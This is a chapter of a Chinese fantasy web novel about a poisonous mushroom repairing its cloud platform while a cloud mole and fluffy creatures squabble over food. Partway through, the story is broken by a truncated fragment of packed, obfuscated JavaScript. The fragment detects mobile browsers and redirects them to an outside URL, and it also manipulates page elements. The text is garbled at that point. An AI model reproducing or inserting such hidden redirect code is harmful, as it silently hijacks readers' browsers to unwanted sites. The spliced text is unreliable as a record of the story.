探出的菌丝僵在半空,收回来不是,继续伸过去也不是。 他整朵菇僵在那儿,心里头跟打翻了调料碗似的,五味杂陈得厉害。 内疚混着无奈一股脑儿在里头烧着,直灼得他伞盖边缘都红了大半圈。 咳咳……身为房东,私自挪用自家房客兼帮工的口粮,这事办得确实不地道。 可话说回来,七天之后絮暴就来,如果不把家加固牢靠,到时候大家一起玩完。在生死跟前,吃饭……好像也没那么重要? 盛棠瞄了一眼蓬蓬兽们。 三个小家伙对即将到来的灭顶之灾毫无概念,正挤成一团,誓死捍卫自己那点口粮,黑豆眼里写满了“谁敢动吃的就跟谁急”。 盛棠默默把“讲道理”这个选项划掉了。 毕竟菇不懂蓬蓬兽语,比划半天,大概也解释不清什么叫“絮暴”什么叫“七天倒计时”。 而且,看起来,在它们眼里,眼下这口吃的,恐怕比什么天边灰不溜秋的风重要多了。 他低下头,看向自己身下的云立方平台。 虽说修得不如新做的精致,但东拼西凑下来,也大差不差了。该压实的压实了,该填平的也填平了,云面瞧着湿漉漉的,正是适合种下去的样子。 就是……好像有点太轻了? 盛棠后知后觉地发现,自己的视野似乎都跟着变高了几寸。 他试探着把菌丝朝上伸去,轻轻松松的,就戳入了头顶那层原本看着遥不可及的云层之中。 下一秒,一股强烈的酥麻感顺着菌丝窜遍全身。 盛棠猛地一抖,整朵菇颤了颤,伞盖边缘不自觉地舒展开来,一股清甜的香气从菌褶深处飘了出来。 云鼹鼠的鼻子猛地抽动了一下,黑豆眼“噌”地一声,亮了一下又一下。 四只小爪子在云面上狠狠一刨,白乎乎的小身影跟炮弹似的弹了出去,直直撞到了盛棠的跟前。 尖尖的嘴巴张开,才要一口咬上那几根才伸向上层云层的菌丝—— “唰——” 一根又粗又长的菌丝拦腰抽了过来。 云鼹鼠连“嘤”都没来得及嘤一声,整只鼠就被抽飞出去,在空中骨碌碌连滚好几圈,最后“啪叽”一下,四仰八叉地摔在一团厚实的云絮上。 盛棠:“!!!” 他把菌丝从上层云层里“唰”地抽回来,整朵菇炸着,伞盖都绷紧了,粉晕因为愤怒和惊恐深了好几个色号。 好哇! 我当你是真心投诚,养着你吃我的住我的,还给你安排独立小院—— 你居然想吃我! 盛棠菌丝全副武装地支棱起来,戒备地盯着对面那团刚从云絮里挣扎着爬起来、正晕头转向甩脑袋的白色毛球。 云鼹鼠傻乎乎的在云絮上转了好久的圈后才反应过来自己刚才干了什么,整只鼠猛地一僵。 它看看盛棠那副炸了毛的架势,又看看自己刚才冲刺的方向,黑豆眼里那点被香气勾起的迷醉“唰”地退了个干净,取而代之的是惊恐和后知后觉的心虚。 “嘤……” 它缩着脖子,小爪子举起来,做了个投降的姿势。然后又觉得不够,干脆把整个身子往云絮里一趴,两只前爪抱着脑袋,只露出半截瑟瑟发抖的背脊和一条夹得死紧的尾巴。 “嘤嘤嘤……” 声音又软又细,带着明显的讨好和求饶。 盛棠的菌丝还支棱着,他盯着那团缩成一团的白色毛球,心里头的火蹭蹭往上冒。 好啊!刚才冲过来张嘴就想咬,现在知道怂了?要不是我抽得快,这会儿伞盖上得少块肉! 要不得!这鼠绝对要不得了! 他刚想再抽一菌丝解解气,目光却不自觉地扫过平台另一角—— 蚀云虫正抱着半根丝瓜瓤,缩在自己画的圈里,眨巴着眼睛往这边看。 那眼神懵懵懂懂的,像是在问:怎么了?发生了什么?要开饭了吗? 盛棠的菌丝僵在半空。 哦豁,蚀云虫,这憨货必须还得有人看着。 云鼹鼠虽然满肚子心眼,但至少愿意揽这个活。要是真把这小东西赶走了,蚀云虫谁管?总不能让他自己天天盯着吧?他还得建家、还得备粮、还得应付絮暴…… 盛棠这么想着,立在空中的菌丝慢慢放下来一点,又放下来一点,再放下来一点。 最后,他长长地叹了口气,整朵菇肉眼可见地蔫了一截。 “……起来吧。” 云鼹鼠耳朵一动,但没敢动。 “行了,不抽你了。”盛棠憋屈的嚷嚷,“起来。” 云鼹鼠这才小心翼翼地从爪子缝里抬起一只眼睛,确认盛棠确实没再动手的意思,才“噌”地一下爬起来,小爪子拍拍身上的云絮。 它夹着尾巴凑过来,两只小爪子献宝儿似的碰上一大团从对面云絮团里扒拉出来的云絮,笑得谄媚不说,还“嘤嘤嘤”地叫个不停。 盛棠用菌丝把它拨开半尺远,省得它又凑太近。 就在这时,他忽然注意到自己那几根刚才探进上层云层的菌丝,此刻正弯弯曲曲地耷拉着,像是被什么东西烫过一样,卷出了一道道大波浪。 原本光滑的菌丝表面,此刻还泛着微微的焦黄,一股诱人的香气从那些卷曲的菌丝尖飘出来。是那种清甜爆汁的味道,还带着点淡淡的,被烤焦了的香气。 是那种烤肉厚肥美的蘑菇才会有的香气! 盛棠的菌褶不自觉地抽动了一下,一股黏腻清亮的液体忍不住沁出,要坠不坠的挂在一条菌褶上。 好香,真的好香。 他下意识的收缩了一下菌褶,把那点黏腻清亮的液体咽了回去,然后肚子里传来一声清晰的“咕咕”声。 盛棠:“……” 云鼹鼠的耳朵“唰”地竖起来,黑豆眼瞪得溜圆,难以置信地看着盛棠。 盛棠的伞盖“腾”地一下,被自个儿羞的红了。 他堂堂一朵毒蘑菇,被自己的香味香到肚子叫?! 这说出去谁信?! 但那股香气确实太诱人了,焦香里透着一股清甜,清甜里又带着一点说不出的鲜,直往他鼻腔里钻,勾得他那声“咕咕”之后,肚子又叫了第二声。 盛棠绝望地闭上眼睛。 怪不得都说他是“顶尖食材”呢。 这稍微熟了那么一点点,就这么香,要是真炖一锅…… 他猛地睁开眼,把这个可怕的念头甩出去。 不能想不能想不能想!菇吃菇可是大逆不道的事情! 他深吸一口气,强迫自己把注意力从那该死的焦香上移开,开始思考正事。 上层云层既然能碰到,那上面应该能去探索一下的。 可这个念头在脑子里转了一圈,盛棠就立刻打了个哆嗦,果断把这个念头掐灭在摇篮里。 算了算了。上面有闪电,而闪电是会引起火花的。 那几根卷着大波浪、散发着诱人焦香的菌丝都还没凉呢,如果整朵菇都探进去—— 那一朵烤得外焦里嫩、香气扑鼻的熟蘑菇一定会引起云海食谱的狂欢吧! 他收回目光,重新看向眼前的烂摊子。 啊~云絮!你究竟还能在哪里找到! 盛棠感叹着舒展开菌褶,晃着伞盖看向四周。 能用的几乎都已经被他用掉了。 空中漂浮的那些,刚才被蓬蓬兽们死死护在怀里,那是人家的口粮,他再馋材料也不能真去抢。 剩下的……也只有自己跟前,云鼹鼠刚刚送过来的那团道歉礼物了。 盛棠的菌丝刚伸出去,准备接过来—— “啾!!!” 一道圆滚滚的影子闪电般蹿了过来,等盛棠反应过来,跟前的那撮云絮已经没了。 那只最小个儿的蓬蓬兽叼着那团云絮,四只小短腿在空中蹬出残影,头也不回地往平台另一边狂奔,喉咙里还发出含糊但得意的“呜呜”声。 云鼹鼠愣了一秒,然后炸了。 “嘤!!!” 它四爪刨地,白乎乎的小身子像炮弹一样弹射出去,直追那道圆滚滚的身影。 一前一后,一白又一白,两道影子在平台上开始疯狂追逐。 “啾啾啾!啾啾啾!” “嘤嘤嘤!嘤嘤嘤!” 你追我赶,你堵我截,从平台东边滚到西边,从南边滚到北边,所过之处,云絮飞溅,碎块四散。 盛棠僵在原地,菌丝还保持着接东西的姿势,刚想要阻拦,就听到了一个让他心碎的声音—— “哗啦——” “哗啦啦——” “哗啦啦啦——” 他那好不容易整理起来、但还没完全凝固的云立方,被两道扭打在一起的身影撞塌了一块又一块。 盛棠缓缓转过头,看向那片狼藉,只觉得全身的毒液顺着根须上涌,直冲上伞盖。 天呐!这群小家伙在干什么! 这可是他花了大半天时间、耗尽心思才修补好的云立方啊! 他们非得把他这个家再拆上一遍才肯善罢甘休吗! “停!!!”盛棠仰菇长哮,声音打得连嗓门都劈了。 两道身影同时僵住了。 云鼹鼠刚好骑在蓬蓬兽的背上,四只小爪子揪着几簇蓬松柔软的毛发,正准备来个终极锁喉。 听到这声喊,它茫然地抬起头,望向盛棠,小脸上还带着刚才打架时磕出来的伤痕。 它明明表情是凶巴巴的,可眼神却是懵懵的,像是不知道发生了什么事情。 蓬蓬兽被压在底下,圆滚滚的身子拼命挣扎,四只小短腿在空中乱蹬。 听到盛棠的声音,它扭过脑袋,黑豆眼里蓄满了眼泪,吧嗒吧嗒往下掉。 发出的声音游戏声音又细又委屈,可怜巴巴的,像是在告状:“啾……啾啾……” 盛棠:“……” 他看着云鼹鼠那张凶巴巴又茫然的脸,又看着蓬蓬兽那双吧嗒吧嗒掉眼泪的黑豆眼,再看看周围那片狼藉的、塌得七零八落的云立方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226798|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 整朵菇,彻底没脾气了。 他就那么站着,菌丝软趴趴地垂下来,伞盖边缘因为心累而微微发皱。 好一会儿,他才从菌褶深处挤出一声沙哑的声音。 “行。” “你们……真行。” “来,谁来告诉我,这地方被你们破坏成这个鬼样子,谁来修补?” 云鼹鼠和蓬蓬兽后知后觉地意识到,好像有什么不对劲。 但那也就只是“意识到”而已。 云鼹鼠从蓬蓬兽背上跳下来,抖了抖毛,小爪子还揪着从蓬蓬兽身上薅下来的几撮毛,偷偷往身后藏了藏。 它看看盛棠那张垮下来的伞盖,再看看周围塌得七零八落的云立方,黑豆眼骨碌碌转了两圈,然后—— 小胸脯一挺,长嘤一声:“嘤!” 它抬起爪子,指了指刚才蓬蓬兽叼走云絮的方向,又指了指自己,身子一立,两只小爪子往回一拉,整只鼠就直挺挺的倒在了云面上。 好一会儿,它才慢吞吞的站起身,抖了抖身上沾着的碎云絮,拍拍胸口,毛茸茸的小脸上写满了的理直气壮。 盛棠看懂了,用菇语翻译一下就是:“那云絮是我找来道歉的!它抢走了!我帮您抢回来!我是功臣!你不能凶我!” 蓬蓬兽本来还在那儿吧嗒吧嗒掉眼泪,听到这话,眼泪一收,黑豆眼里也浮起一股不服气。 “啾啾!啾啾啾!” 它小爪子指着自己的嘴巴,又指了指云絮,然后两只前爪死死抱在胸前,冲云鼹鼠“啾”了一声,声音又短又冲。 盛棠也看懂了,用菇语翻译一下就是:“那是我的口粮!你抢我的!你坏!” 云鼹鼠立刻炸了毛,凶巴巴的反驳:“嘤嘤嘤!” 蓬蓬兽也不甘示弱的怼回来:“啾啾啾啾!啾!” 一鼠一兽你一言我一语,吵得不可开交,谁也不觉得自己有错。 只有盛棠一朵菇,心累的连白杆杆都隐隐有些发灰的迹象了。 他看看云鼹鼠那张“我是功臣”的脸,又看看蓬蓬兽那双“我捍卫口粮我有理”的黑豆眼,再看看周围塌得亲妈都不认识的云立方,重重地叹了口气。 整朵菇,蓝瘦香菇! 云立方塌了,这是坏事。 但塌了之后,原本被他压实、堆叠、准备固化成型的材料,此刻只是散落一地,并没有消失。 而且…… 盛棠低头看了看自己的“视野高度”——好像变低了? 他记得之前修修补补之后,平台整体抬升了不少,他的视野都比平时高了几寸。但现在,那些塌掉的方块让整个平台的高度回落了不少,起码回到了最开始的样子。 盛棠的菌丝无意识地动了动。 他抬起头,看向头顶那片越压越低的灰青色云层。 闪电会压着上层云层往下坠落吗? 盛棠不确定。但他知道,如果闪电真的存在,那它离自己越近,危险就越大。现在平台高度降低了,反而离上层云层远了一些,也安全了一些。 为了防止自己变成一朵熟菇,他得保持这个安全高度。 甚至……还得再低一点? 盛棠的菌丝无意识地蜷了蜷。 他原本打算用云絮把平台补起来、加高回去。但现在看来,加高反而是找死。他不仅不能用云絮填补,甚至可能得主动拆掉一些。 毕竟越高的地方,离闪电越近。那些原本辛辛苦苦堆起来的部分,现在都成了隐患。 而能替代云絮、又足够结实的材料…… 盛棠的目光落在旁边那袋云棉籽上。 云朝暮送的云棉。 它的絮虽然不如云絮蓬松,但根系能抓地,植株本身也结实。 如果种出来,用云棉絮填充,用云棉根加固基座。这样一来,既能把高度控制在安全范围内,又能让平台扛住絮暴。 一举两得。 盛棠收回目光,看向那堆被蓬蓬兽护在怀里的云絮。 既然要降高度,那这些云絮就不能用了。留着占地方不说,还得天天跟三只护食的小家伙斗智斗勇。 不如,干脆做个顺水菇情了? 盛棠觉得可以,他眨眨菌褶,清了清嗓子。 “那个,”他指了指蓬蓬兽怀里的云絮,“这个,给你们。” 蓬蓬兽一愣,下意识把怀里的云絮搂得更紧,黑豆眼里满是警惕。 “真的,给你们。”盛棠的菌丝摊了摊,朝前一伸,做出一个“给”的姿势,“当口粮。以后每天都有。” 蓬蓬兽眨巴眨巴眼,警惕没消,但迷茫多了。 “但是,”盛棠话锋一转,菌丝指了指周围散落的那些云絮,“这些,不能动。这些是建家的材料,不是吃的。以后你们只能吃我分给你们的,不能偷吃剩下的。” 蓬蓬兽顺着他的菌丝看过去,又看看自己怀里的,再看看盛棠,小小的黑豆眼里闪着大大的迷茫。 “啾?” 它歪了歪脑袋,完全没搞懂这两堆云絮有什么区别。明明看起来一模一样,为什么这一堆能吃,那一堆不能吃? 云鼹鼠在旁边看了一会儿,忽然“嘤”了一声,小爪子拍了拍胸脯,冲盛棠点了点头。 盛棠看着云鼹鼠那张“交给我你放心”的脸,沉默了两秒。 他不放心!很不放心!! 这货刚才还骑在蓬蓬兽身上打架,现在拍胸脯说要看着它们,可信度约等于零。 可环顾四周,他还能用谁? 蚀云虫在角落里抱着丝瓜瓤发呆,指望它看着蓬蓬兽,不如指望蓬蓬兽自己管住自己。 盛棠叹了口气:“……行吧。但是,绝!对!不!允!许!打!架!” 云鼹鼠眼睛一亮,小身子立着朝盛棠点了下脑袋,才“嘤”了一声,转头就冲着蓬蓬兽“嘤嘤嘤”地叫起来,小爪子比比划划,不知道在说什么。 蓬蓬兽们三颗小脑袋凑在一起,听得似懂非懂,三双黑豆眼里的迷茫一点没少,但怀里抱着的云絮倒是慢慢松开了。 盛棠见状,收回目光,看向脚下那片塌陷的云立方。 既然一鼠一兽之间的矛盾被安全解决了,那当务之急,应该是在他这一亩三分地上,找个安全牢固的地方,把云棉籽给种下去啊!